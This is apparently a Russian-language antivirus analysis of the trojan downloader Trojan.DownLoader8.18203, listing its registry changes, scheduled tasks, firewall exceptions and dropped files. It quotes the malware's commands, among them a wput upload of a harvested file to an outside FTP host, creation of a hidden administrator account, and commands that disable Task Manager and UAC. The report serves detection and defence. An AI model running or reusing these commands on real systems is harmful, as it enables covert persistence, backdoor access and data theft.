Trojan.DownLoader8.18203

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'run' = '%WINDIR%\software\atxp.vbs'

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At9.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At4.job

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%WINDIR%\software\wget.exe' = '%WINDIR%\software\wget.exe:*:Enabled:winvnc'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%WINDIR%\software\wput.exe' = '%WINDIR%\software\wput.exe:*:Enabled:winvnc'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\ftp.exe' = '<SYSTEM32>\ftp.exe:*:Enabled:winvnc'

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Создает и запускает на исполнение:

%WINDIR%\software\wput.exe C:\Temp\Ddir.txt ftp://av#########02008aa@avon075.ftp.narod.ru/ftpin/Ddir.txt

Запускает на исполнение:

<SYSTEM32>\at.exe 11:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 10:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 12:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 15:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 13:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon\SpecialAccounts\Userlist" /v Admin1 /t reg_dword /d 0 /f
<SYSTEM32>\net1.exe accounts /maxpwage:unlimited
<SYSTEM32>\at.exe /DELETE /yes
<SYSTEM32>\at.exe 09:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 00:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" /f
<SYSTEM32>\at.exe 23:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\ping.exe -n 1800 127.0.0.1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
<SYSTEM32>\at.exe 19:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 17:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 20:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 22:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\at.exe 21:00 /interactive /every:M,T,W,Th,F,S,Su %WINDIR%\software\ftp.vbs
<SYSTEM32>\net1.exe user
<SYSTEM32>\chcp.com 1251
<SYSTEM32>\cmd.exe /c ""%WINDIR%\Software\winxp.cmd" "
<SYSTEM32>\netsh.exe firewall add allowedprogram "<SYSTEM32>\ftp.exe" winvnc enable
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v run /d "%WINDIR%\software\atxp.vbs" /f
<SYSTEM32>\cmd.exe /c ""%WINDIR%\Software\win.cmd" "
<SYSTEM32>\wscript.exe "%WINDIR%\software\win.vbs"
<SYSTEM32>\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
<SYSTEM32>\wscript.exe "%WINDIR%\software\winxp.vbs"
<SYSTEM32>\find.exe "ProductName"
<SYSTEM32>\net1.exe user Admin1 /add
<SYSTEM32>\attrib.exe +R +S +H %WINDIR%\software /D /S
<SYSTEM32>\net1.exe user Admin1 13102008
<SYSTEM32>\net1.exe user Admin1 /active:yes
<SYSTEM32>\net1.exe localgroup Администраторы Admin1 /add
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\Software\wget.exe" winvnc enable
<SYSTEM32>\netsh.exe firewall add allowedprogram "%WINDIR%\Software\wput.exe" winvnc enable
<SYSTEM32>\attrib.exe -R -S -H <DRIVERS>\etc\hosts /S
<SYSTEM32>\attrib.exe +R +S +H %WINDIR%\software\*.* /s
<SYSTEM32>\attrib.exe +R +S +H <DRIVERS>\etc\hosts /S

Изменения в файловой системе:

Создает следующие файлы:

%WINDIR%\software\data.vbs
%WINDIR%\software\ftp.vbs
%WINDIR%\software\atwin7.vbs
%WINDIR%\software\atxp.vbs
%WINDIR%\software\win.vbs
C:\Temp\Ddir.txt
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\12stulev[1]
%WINDIR%\software\win7.vbs
%WINDIR%\software\winxp.vbs
%WINDIR%\software\ftp.cmd
%WINDIR%\software\win.cmd
%WINDIR%\software\atwin7.cmd
%WINDIR%\software\atxp.cmd
%WINDIR%\software\win7.cmd
%WINDIR%\software\wput.exe
%WINDIR%\software\hosts
%WINDIR%\software\winxp.cmd
%WINDIR%\software\wget.exe